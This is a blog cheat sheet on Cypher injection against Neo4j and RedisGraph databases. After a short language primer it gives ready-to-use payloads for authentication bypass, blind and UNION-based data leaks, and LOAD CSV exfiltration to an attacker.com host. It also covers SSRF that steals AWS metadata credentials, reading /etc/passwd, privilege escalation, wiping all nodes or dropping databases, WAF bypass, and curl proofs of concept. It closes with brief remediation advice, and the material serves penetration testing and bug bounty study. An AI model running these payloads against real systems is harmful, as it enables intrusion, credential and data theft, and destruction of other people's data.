Sponsored by

Cypher Injection Cheat Sheet

Posted in Cheatsheets on December 26, 2022

Cypher Injection Cheat Sheet


  • Please let me know (via Twitter or the contact form) if you notice any mistakes or have any suggestions.
  • This is based on the work of others (including some examples and payloads). All resources used are listed in the Resources section.

1. Cypher

What is Cypher?

  • Cypher is short for (Open) Cypher Query Language
  • It is Neo4j’s graph query language that lets you retrieve data from the graph. It’s like SQL for Graph databases.
  • It was originally intended to be used with Neo4j, but was opened up through the openCypher project. It is now used by many other databases including RedisGraph, Spark, Amazon Neptune and SAP HANA Graph.
  • Cypher Query Language Reference, Version 9

Graph databases

Graph vs Relational databases

 Relational databaseGraph database
Vendor examplesMySQL, Microsoft SQL ServerNeo4j, RedisGraph, Amazon Neptune
What it looks likeTables, rows, columns:
Graphs, nodes, relationships:

Fun fact: Neo4j is used by BloodHound.

Graph fundamentals

A graph database can store any kind of data using:

  • Nodes - Graph data records
  • Relationships - Links between nodes (have direction and a type)
  • Properties - Key/value pairs that store data in a node or relationship
  • Labels: The type of node or relationship

Source

Cypher queries

Components of a query

Source

Source

Comments

  • //: Inline comments
  • /* */: Multi-line comments

Basic queries

MATCH clause

// Get all nodes that have a label "Fruit"
MATCH (a:Fruit) RETURN a    // Equivalent of SELECT ... FROM in SQL

// Get all "Fruit" nodes that have a specific property
MATCH (a:Fruit {title: 'Green Apple'}) RETURN a
MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a

// Limit the numbers of results
MATCH (a:Fruit) RETURN a LIMIT 20

// Order results 
MATCH (a:Fruit) RETURN a ORDER BY title

CREATE clause

// Create a single code
CREATE (n)

// Create multiple nodes
CREATE (n), (m)

// Create a node with a label
CREATE (n:Person)

// Create a node with multiple labels
CREATE (n:Person:Swedish)

// Create node and add labels and properties
CREATE (n:Person {name: 'Andy', title: 'Developer'})

// Return created node
CREATE (a {name: 'Andy'})
RETURN a.name

// Create a node & set properties
CREATE (n:Account)
SET n.id=1, n.username="admin",n.password="password123"
RETURN n

Get info on database & nodes

Retrieve labels

Retrieve all labels in a graph & remove duplicates:

MATCH (a) return DISTINCT labels(a)

or

CALL db.labels()

or

CALL db.labels() YIELD label

or

CALL db.labels() YIELD label AS x

About YIELD

  • YIELD allows you to select which of the available result fields are returned (label here), and store them in a variable (x) that can be used later by the rest of the query.
  • It’s not necessary to use a variable. This syntax is also valid (I’m not sure why though):
CALL db.labels() YIELD label RETURN count(label)
// same as
CALL db.labels() YIELD label AS x RETURN count(x)

Retrieve properties of a label

MATCH (c) WHERE c.name = 'Spongebob'
RETURN keys(c)

// Remove duplicates
MATCH (c:Character)
RETURN DISTINCT keys(c)

List databases

SHOW databases

Dump all nodes in a database

USE myDatabase    // Select the database to query 
MATCH (n) RETURN n

List current user

SHOW CURRENT USER

List all users

SHOW USERS

List available procedures

SHOW procedures
// or
CALL dbms.procedures()

List available functions

CALL dbms.functions()

List user roles

// Switch to the system database, then list roles
USE system CALL dbms.security.listRoles()

Useful functions

collect()

collect() collects all the values and returns them in a single list (useful for data exfiltration):

MATCH (c:Character)
RETURN collect(c.name)			   

// Returns:
// ["Squidward", "Mr.Crabs", "Spongebob", "Sandy", "Patrick"]

split()

split() splits a string into a list of strings using a delimiter:

RETURN split('one,two', ',')

// Returns:
// ["one","two"]

Multiple queries in one statement

Clause composition

A Cypher query is made up from several clauses chained together, e.g.:

MATCH (john:Person {name: 'John'})
MATCH (john)-[:FRIEND]->(friend)
RETURN friend.name AS friendName

According to the Cypher specification:

Another way of thinking about clauses is in terms of function chains: each clause is in essence a function taking as input a table, and returning a table as output. Thus, the query as a whole is a composition of these ‘functions’.

This is what makes it possible later on, when we exploit Cypher injection, to chain multiple clauses in one statement.

E.g. if we can inject into a MATCH ... WHERE ... RETURN query, we’ll be able to add a CALL and LOAD CSV FROM clause:

MATCH ...
WHERE ...
CALL ... YIELD ...
LOAD CSV FROM ...
RETURN ...

(Here is the full example)

UNION clause

  • Cypher’s UNION clause combines the results of two or more queries into a single result set (that includes all the records that belong to all queries in the union)
  • But all queries must have the same return name and the same number of returned columns
  • It is not an issue if queries combined return different types of data (e.g. String & Number)
  • Use UNION to combine queries and remove duplicates & UNION ALL to retain duplicates
MATCH (n:Person)
RETURN n.name
UNION
MATCH (n:Book)
RETURN n.title

or

// Using the same alias
MATCH (n:Person)
RETURN n.name AS name
UNION
MATCH (b:Book)
RETURN b.title AS name

Erroneous syntax:

// Not allowed
MATCH (p:Person)
RETURN p.name
UNION
MATCH (b:Book)
RETURN b.title

WITH clause

The WITH clause allows you to chain (or pipe) queries, meaning chain the output of one query to another.

E.g. to follow up a MATCH clause with an ORDER BY clause:

MATCH (c)
WITH c
ORDER BY c.Character DESC
LIMIT 3
RETURN collect(c.name)

// E.g. ouput			   
// │["Mr.Crabs","Spongebob","Squidward"]│  

This is useful for Cypher injection, to break out of the initial query.

CALL {} subquery

CALL can be used to either call procedures (e.g. CALL db.labels()) or subqueries, i.e. queries inside of other queries.

LOAD CSV

LOAD CSV is used to import data from local or remote CSV files:

// Import local file
LOAD CSV FROM 'file:///users.csv' AS line RETURN line

// Import remote file
LOAD CSV FROM https://domain.com/data.csv AS line RETURN line

Note it doesn’t have to actually be a CSV file which enables SSRF:

LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line

LOAD CSV FROM "https://attacker.com" AS line RETURN line

LOAD CSV supports HTTPSHTTP, FTP and file:///. It follows redirects but not redirects that change the protocol (e.g. from HTTPS to HTTP).

APOC library

The Neo4j APOC library:

  • Stands for stands for Awesome Procedures oCypher
  • Extends the functionality and Cypher language of Neo4j databases
  • Provides more features including procedures to Import / Load and Export data
  • Isn’t installed by default, but is considered the most common Neo4j library

apoc.load.json() is used to import local or remote JSON files:

// Local file
CALL apoc.load.json("file:///person.json")
YIELD value
RETURN value

// Remote file
CALL apoc.load.json("https://domain.com/data.json")
YIELD value
RETURN value

List available APOC procedures:

CALL apoc.help('apoc')

Conditional statements

This will be useful for exploiting Boolean-based and Time-based Cypher injection.

CASE expressions

The CASE construct is used to create conditional statements, e.g.:

MATCH (n:Movie)
RETURN
CASE n.title
  WHEN 'The Matrix Reloaded'  THEN 1
  WHEN 'The Matrix Revolutions' THEN 2
  ELSE 3
END AS result
LIMIT 5

APOC’s WHEN & CASE procedures

APOC also supports conditional execution procedures.

For more

2. Cypher injection

What is Cypher injection?

According to Neo4j:

Cypher injection is a way for maliciously formatted input to jump out of its context, and by altering the query itself, hijack the query and perform unexpected operations on the database.

This is a cousin to SQL injection, but affecting our Cypher query language.

Types

I didn’t find any classification of Cypher injection attacks, but based on the types of SQL injection they can also be:

  • In-band: Same channel used to inject malicious Cypher code & view results
    • Error-based: Cause a database to produce error messages to understand its structure & build payloads
  • Inferential (blind): No errors returned, but responses can be anayzed to infer info from the app’s behavior
    • Boolean-based: Deduce info using conditions & looking for differences in behavior
    • Time-based: Make app sleep for a few seconds, measure response & infer data
  • Out-of-band (blind): Exfiltrate data and results of Cypher queries to external server

Note that:

  • Union-based doesn’t apply (in my opinion) since there is no notion of SQL tables. Cypher does have a UNION clause but it works differently.
  • Time-based injection is not possible by default. It requires APOC to be installed

Example: Simple in-band injection

Vulnerable query

// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

Payload

Spongebob' or 1=1 RETURN c//

Final query

executeQuery("MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c")

which executes:

MATCH (c:Character)
WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c

returning all nodes.

Example: In-band injection with UNION

Source: The Cypher Injection Saga

Vulnerable request

GET /show/id?id=42

Original query

MATCH (a:Person)
WHERE id(a) = 42
RETURN a

where the id value (here 42, passed via the id GET parameter) is attacker controllable.

Payload 1

42 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a

Final query

MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION CALL db.labels() YIELD label AS a
RETURN a

Note that the first query returns a Number while the second one returns a String, which is not a problem in Cypher.

Payload 2

42 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //

Final query

MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION MATCH(b)
RETURN DISTINCT labels(b) AS a 
//RETURN a

Example: Out-of-band injection

Same example but different exploitation method:

Vulnerable request

GET /show/id?id=42

Original query

MATCH (p:Person)
WHERE id(p) = 42
RETURN p

Payload

42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r

Final query

MATCH (p:Person)
WHERE id(p) = 42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
RETURN p

3. Testing Methodology (for Neo4j)

Where to look

  • Any user-controlled input that might be processed in a database.

Pay attention to:

  • Numerical IDs
  • Login forms
  • REST API endpoints

Tips for constructing payloads

Use Neo4j browser or Neo4j desktop

Use Neo4j browser or Neo4j Desktop on a database you control (e.g. the cypher-playground playground) to ensure your payloads do what you expect and the syntax is correct.

Injection context

Depending on the injection context, you might need to end the string or query where you’re injecting, to break out of it. E.g.:

'
"
'})

It can also be more complex and target-specific as seen in this bug bounty writeup:

.*' | o ] AS filteredOrganisations

“WITH x as Y” trick

If you’re injecting into a CREATE clause, use something like WITH 1337 AS y to break out of it:

Original query

CREATE (n:Person) SET n.name="test" RETURN n

Payload

test" WITH 1337 AS y MATCH (n) DETACH DELETE n//

Final query

MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n

Inline comments

Use // to comment out the rest of a request. It allows nullyfing clauses that limit the results.

E.g. LIMIT 0 means do not display output, but it can be bypassed:

Original query

MATCH (n) WHERE n.is_active = USER_INPUT RETURN n LIMIT 0

Payload

1 OR 1=1 RETURN n//

Final query

MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0

Multi-line comments

Use /* to comment out a multi-line request, e.g.:

Original query

MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u LIMIT 5

Payload

' OR 1=1 RETURN u/*

Final query

MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u/*'
RETURN u LIMIT 5 /*Only return 5 results*/

// which is equivalent to:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u

Limitation When you inject /*, the multi-line comment will stop at the first terminator (i.e */) in the query.

E.g. nullifying LIMIT 0 here won’t be possible:

// Original query
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u /* second comment */ LIMIT 0 /* Do not display output */

Final query after injecting ' OR 1=1 RETURN u /*:

MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u /*'
RETURN u /* second comment */ LIMIT 0 /* Do not display output */

Copy-pasting

Just a reminder that copy-pasting payloads from somewhere else can add invisible characters.
Also, Cypher queries are often displayed with newlines for better readability.

So if a payload is supposed to be working but isn’t, make sure there aren’t any undesired characters that break the payload.

Detection

Error-based

Try to trigger errors using payloads like:

'
"
)
// prepend a string like `zxlck.`
\'
12/0    // i.e. int/0
42-1    // i.e. int-int
randomstring
1 or 1=1
' or 1=1
" or 1=1
' or '1'='1
" or "1"="1

...

Example of Neo4jError:

Source: The Cypher Injection Saga

Blind mathematical operations

Change numerical values in parameters to mathematical operations.

E.g. if /profile?id=42 gives same response as /profile?id=41%2b2-1 (so the payload is 41+2-1 but URL-encoded), it indicates code injection.

Blind boolean-based

Look for differences in responses:

' or 1=1 //
' or 1=0 //

" or "1"="1
" or "1"="2

" or True //
" or False //

...

Out-of-band interaction

Try to send an out-of-bound HTTP request to your server:

LOAD CSV FROM 'https://attacker.com' AS b return b//

Time-based

Use this if APOC is enabled:

CALL apoc.util.sleep(10000)

Example

Original query:

MATCH (n:User) WHERE n.name='Jane' RETURN n

Payload:

Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //

Final query:

MATCH (n:User) WHERE n.name='Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //

Exploitation

Authentication bypass

Similar to authentication bypass via SQLi. Try payloads like:

1 OR 1=1

E.g.:

// Vulnerable query
MATCH (n) WHERE n.name = "admin" and n.password = {USER SUPPLIED INPUT} RETURN n LIMIT 0

// Final query
MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0

Leak labels & properties in the database

To build valid queries, we need to know which labels and properties exist in the database. So, the first thing to try is extracting this information and, if it’s not returned in the HTTP response, leak it to our server.

In-band injection

Leak labels:

CALL db.labels()

Leak properties of a label (Character here):

MATCH (c:Character) RETURN DISTINCT keys(c)

Leak the values of a property (name here):

MATCH (c:Character) RETURN c.name

Out-of-band / blind (using LOAD CSV)

LOAD CSV is used to import local or remote files.
Since it sends a GET request to an external service (that we can define), it enables leaking data from the database to a server we control (basically internal SSRF).

Leak labels:

CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/'+label
AS b RETURN b//

(One GET request is sent for each label)

Leak properties of a label (Character here) using APOC:

MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '')
AS b RETURN b//

Leak properties of a label (Character here) without APOC:

// First property
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[0]
AS b RETURN b//

// Second property
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[1]
AS b RETURN b//

Leak the values of a property (name here):

MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//

Leaking data when you don’t know labels & properties

Even if you couldn’t leak labels and properties, exploitation is possible if you have an error message that tells you the name of the return variable (real-life example).

E.g.: Leak all nodes

Vulnerable query:

// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

Payload:

// Replace 'c' with the return variable's name you have
' or 1=1 RETURN c//

Final query:

MATCH (c:Character)
WHERE c.name = '' or 1=1
RETURN c//' RETURN c

Date() trick for Error-based injection

If you can see error messages, place the data you want to dump inside the Date() function.

As it will fail to convert it to a date, it will error out the argument it received instead (which is the data you want to leak):

MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))

Source

Data exfiltration via Boolean-based injection

Some payloads from Neo4j (Cypher graph query language) injection:

Number of properties (columns)

MATCH (a)
RETURN size(keys(a))
LIMIT 1

Length of a property

MATCH (a)
WHERE a.name = '' OR 4 = size('1234')
RETURN a
LIMIT 1

OR 4 = size('1234') makes the condition true, so the query would return 1 record.

Replacing 4 = size('1234') with 1 = size('1234') would return no record.

Length of first property

MATCH (a)
RETURN size(keys(a)[0])
LIMIT 1

If condition

MATCH (a:Movie)
RETURN a
ORDER BY
CASE 'a'
    WHEN 'b' THEN a.title
    ELSE a.name
END

Substring/Char

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person)
RETURN substring(keys(b)[0],0,1) AS test//'

Putting it together

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE substring(keys(b)[0],0,1)
    WHEN "a" THEN 2
    ELSE 3
END AS test//'

					   
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN case substring(keys(b)[0],0,1) WHEN "n" THEN 2 ELSE 3 END AS test//'

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE size(keys(b)[0])
    WHEN 1 THEN 2
    ELSE 3
END AS test//'

				  
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION																					MATCH (b:Person) RETURN
CASE size(keys(b)[0])
    WHEN 4 THEN 2
    ELSE 3
END AS test//'

Data exfiltration via Time-based injection

I need to reesarch this more to create payloads. The idea would be to use if conditions (similarly to Boolean-based injection) combined with CALL apoc.util.sleep(10000) to infer values.

SSRF

In addition to leaking data from the database, we can also use LOAD CSV for internal SSRF.

To be more precise, we’re chaining internal SSRF and external SSRF by:

  1. Sending a request to an internal service
  2. Storing the output in a variable
  3. Sending a second request to your server & appending the data from the variable to the URL (as the path)

Note that the internal service and graph database can be hosted on different servers.

Leak internal resource response

Try loading internal web pages or files and sending them to your server:

LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
LOAD CSV FROM "https://attacker.com/"+x[0] AS y
RETURN ''//

Try accessing all kinds of internal resources:

  • Sensitive files, e.g. http://localhost:3030/internal-api/keys.txt
  • Cloud metadata endpoints (e.g. the AWS metadata service)
  • Any internal endpoints, e.g. https://192.168.1.1/admin, http://localhost:8080

Note that:

  • This works even if the Neo4j database and the sensitive file are hosted on different servers
  • The filetype doesn’t matter (it doesn’t have to be CSV)

Lateral movement in the cloud

  • If you can query a cloud metadata service, try to obtain credentials and escalate the attack to other machines.
  • It would only work in IMDSv1 though.
  • IMDSv2 requires passing a session token via the HTTP request header X-aws-ec2-metadata-token, to allow queries to the AWS metadata service. There doesn’t seem to be a way to include this token in GET requests sent by LOAD CSV.

Exfiltrating data / reponses that have special characters

The payload above doesn’t work if the data being leaked (this part: x[0]) contains characters not allowed in a URL (spaces, single quotes, double quotes, etc).
In other words, LOAD CSV won’t automatically URL-encode special characters.

E.g. running this query in Neo4j Browser returns an error (because of the spaces in a b c):

LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+'a b c' AS y
RETURN y

Splitting a b c into a list and only exfiltrating the first element (a) works:

LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+split('a b c', ' ')[0] AS y
RETURN y

Apart from using split(), there are 3 potential solutions to explore:

  1. URL-encode the data, for example using apoc.text.urlencode() (didn’t find a way to do it without APOC)
  2. Use collect() (from Fun with Cypher Injections):
LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''

LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[1] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''		

...
  1. Use UNWIND (from Fun with Cypher Injections):
LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''

I haven’t researched this further. Just wanted to raise it as a potential issue when exfiltrating data.

Arbitray file read

If a Neo4j database is misconfigured, having its “import” directory set to a dangerous location like /var/www/html or /, you can read arbitrary files within its subdirectories using LOAD CSV.

Leak the location of a database’s “import” directory

// Tested on Neo4j Desktop 1.5.6
CALL dbms.listConfig() YIELD name, value WHERE name='server.directories.import' RETURN value

On older versions, you might need to use a different name, e.g. dbms.directories.import in Neo4j Desktop 1.3.11 instead of server.directories.import.

Exploit a misconfigured database to read arbitrary files

E.g. if the import directory is set to /:

// Load /etc/passwd & send it to your server
LOAD CSV FROM 'file://etc/passwd'
AS x
LOAD CSV FROM "http://attacker.com/"+x[0]
AS y RETURN ''//

Final query:

MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://attacker.com/'+x[0] AS y RETURN ''// RETURN n

Another payload to do the same thing:

' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RESTURN n //

Source: Pentesting Cisco SD-WAN Part 1: Attacking vManage

Overwrite values in CREATE clauses

Privilege escalation example from Fun with Cypher Injections

Original query

Create a normal (low-privileged) account:

CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="{INJECTION POINT}"
RETURN n

Payload

",n.admin=True RETURN n//

Final query

CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n
//" RETURN n

We overwrote the n.admin value to True which makes the account created admin.

Denial of Service

MUST READ FIRST

The impact of all attacks in this section is server-side denial of service, i.e. deleting all entries in a database or dropping the database.

DO NOT test for this ON REAL TARGETS unless you have EXPLICIT WRITTEN permission to test for Denial of Service.

This is only mentioned for learning purposes and to help describe the potential impact of Cypher injection in bug reports.

Leak & Kill connections

  1. Get all connection IDs
CALL dbms.listConnections()
  1. Use LOAD CSV to leak them to your server
  2. Kill the connection(s)
CALL dbms.killConnection("bolt-9276")    // for a single connection
CALL dbms.killConnections(["bolt-9276", "bolt-9273"])    // for multiple connections

Impact

  • This kills the connections between the server and the database (it’s not a client-side attack).
  • So using an automated script, we could prevent queries of legitimate users from being executed, leading to DoS.
  • But it’ll depend on the role & permissions you have when injecting. If your role is admin, you’ll be able to perform this DoS attack with a simple injection with LOAD CSV.

Drop database

  1. List all databases
SHOW databases
  1. Use LOAD CSV to leak their names to your server
  2. Drop databases
DROP database spongebob

Delete a node

Vulnerable query:

// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

Payload:

// Replace 'c' with the return variable's name you have
' DELETE c//

Final query:

MATCH (c:Character)
WHERE c.name = ''
DELETE c//' RETURN c

Delete all nodes

Delete all nodes

Vulnerable query:

// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

Payload:

' MATCH (all) DETACH DELETE all//

DETACH must be used to delete relationships, because a node can’t be deleted without also deleting its relationships.

Final query:

MATCH (c:Character)
WHERE c.name = ''
MATCH (all)
DETACH DELETE all//' RETURN c

Delete all nodes that have a label

Payload:

' MATCH (all:Character) DETACH DELETE all//

WAF bypass

Whitespaces are filtered

If whitespaced are filtered:

MATCH (n) RETURN n

Replace them with comments:

MATCH/**/(n)/**/RETURN/**/n

If /**/ is also filtered, use /*randomstring*/ instead:

MATCH/*socmb*/(n)/*yaoekd*/RETURN/*pxras*/n

LOAD CSV not working? Try APOC!

MATCH (c:Character)
CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name)
YIELD value RETURN value//

OOB requests blocked

Let’s say you have blind Cypher injection, you want to exfiltrate the contents of an internal endpoint/file, but requests to your server are blocked (by a WAF for instance).

I haven’t tried it, but there is an idea from this article that could work: Save the data you want to leak in the database, then read it when it is displayed back in the app.

LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})

I’m not sure if this is what the author meant, but it’s worth trying if nothing else works.

Note, however, that it could quickly mess up the database because one CREATE clause is executed for each line found in the page fetched with LOAD CSV.

4. Cypher injection in RedisGraph

  • RedisGraph is an extension to Redis that enables writing Cypher queries
  • Supports some procedures (e.g. db.labels)
  • Supports substrings
  • No equivalent of LOAD CSV, but CASE WHEN can be used for Cypher injection (if-based, with OR 1=2)
    • E.g. get labels with db.labels and check wether the first letter equals ‘a’ (using OR 1=2 to get the result if it’s blind injection)
  • Supports parameterized queries
  • Doesn’t support RBAC

5. Impact

Injecting into Cypher queries can have a variety of impacts, including:

  • Ability to leak, delete and tamper with the data stored in a database
  • Ability to leak information on a database’s structure (labels, properties, etc) to help construct payloads and perform the other attacks
  • SSRF with the ability to:
    • Exfiltrate data from the database to your server
    • Make the vulnerable server send requests to internal services/servers, enumerate directories and files, scan for open ports, etc
    • Read responses to these requests and exfiltrate them to your server
    • Access sensitive internal endpoints and files
    • Query cloud metadata services with potential for cloud lateral movement
  • Authentication bypass
  • Denial of Service, meaning preventing access to the database by:
    • Dropping databases
    • Deleting all entries (nodes & relationships) in a database
    • Killing (server-side) database connections
  • Arbitrary file read in misconfigured Neo4j databases (that have their “import” directory set to a dangerous location)

Why DoS and SSRF are basically always possible

In SQL injection, the initial clause limits what you can do. E.g. if it’s a SELECT statement, it’ll be impossible to inject a payload that makes it modify data.

Cypher doesn’t have this limitation. Whatever the initial query is, if you can inject into it it’ll be possible to add new clauses (using the WITH x as Y trick) that will delete data, perform SSRF, etc.

6. Remediation & Mitigation

Remediation

  • Use Parameterized Queries
// Not vulnerable (parameterized query)
session.run("MATCH (c:Character)
WHERE c.name = $name RETURN c", {name: name})

// Vulnerable (string concatenated with Cyper query)
session.run("MATCH (c:Character)
WHERE c.name '" + name + "' + RETURN c)

Mitigations

  • Use Neo4j’s RBAC
  • Disable/blocklist Apoc procedures (like LOAD, IMPORT, EXPORT…) in neo4j.conf(available since version 4.3)
  • Uninstall APOC if it’s not used

Note that there is currently no way to disable LOAD CSV (functions can be disabled but not clauses), but Neo4j are working on a fix.

For more

7. Resources

Documentation

OpenCypher

Neo4j

Memgraph

RedisGraph

Amazon Neptune

Writeups

Tools

Articles

Videos

Practice

8. Practice

Neo4j Desktop

Installation

  • Download Neo4j Desktop (requires creating a free account)
  • Follow this guide to register it with an activation key, and start using the demo project
  • Follow this guide to enable APOC (requires restarting Neo4j Desktop after installation)

Using APOC

  • Open Neo4j Browser (using the “Open” button in front of the load-movies.cypher file)

  • List available APOC procedures:

CALL apoc.help('apoc')
  • E.g. to understand what apoc.text.join() (used above to leak labels) does:
MATCH (m:Movie) RETURN DISTINCT keys(m)

MATCH (m:Movie) RETURN DISTINCT apoc.text.join(keys(m), ',')

Settings file

Find LOAD CSV’s “import” directory

Open Neo4j Desktop. Click on “Settings” and search for directories.import. E.g.:

# This setting constrains all `LOAD CSV` import files to be under the `import` directory. Remove or comment it out to
# allow files to be loaded from anywhere in the filesystem; this introduces possible security problems. See the
# `LOAD CSV` section of the manual for details.
server.directories.import=import

cypher-playground

Installation

git clone https://github.com/noypearl/cypher-playground.git
cd cypher-playground
docker-compose up

Access

Injection examples

Trigger error

Payload:

randomstring

PoC:

curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/randomstring' -H 'accept: application/json'

Return all

Payload:

1 or 1=1

PoC:

curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' -H 'accept: application/json'

Leak labels

Payload:

Spongebob' RETURN 1 as x UNION CALL db.labels() YIELD label AS x RETURN x//

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20CALL%20db.labels()%20YIELD%20label%20AS%20x%20RETURN%20x%2f%2f" -H 'accept: application/json'

Leak properties of the label Character

Payload:

Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x //

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20DISTINCT%20keys(c)%20AS%20x%20%2f%2f" -H 'accept: application/json'

Leak values of the property name

Payload:

Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN c.name AS x //

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20c.name%20AS%20x%20%2f%2f" -H 'accept: application/json'
curl -X 'GET' \
  'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' \
  -H 'accept: application/json'

1 CALL db.labels() YIELD label LOAD CSV FROM 'https://cypher.free.beeceptor.com/'+label AS b RETURN b//

Now, let’s go find a bug bounty program that uses graph databases…

Top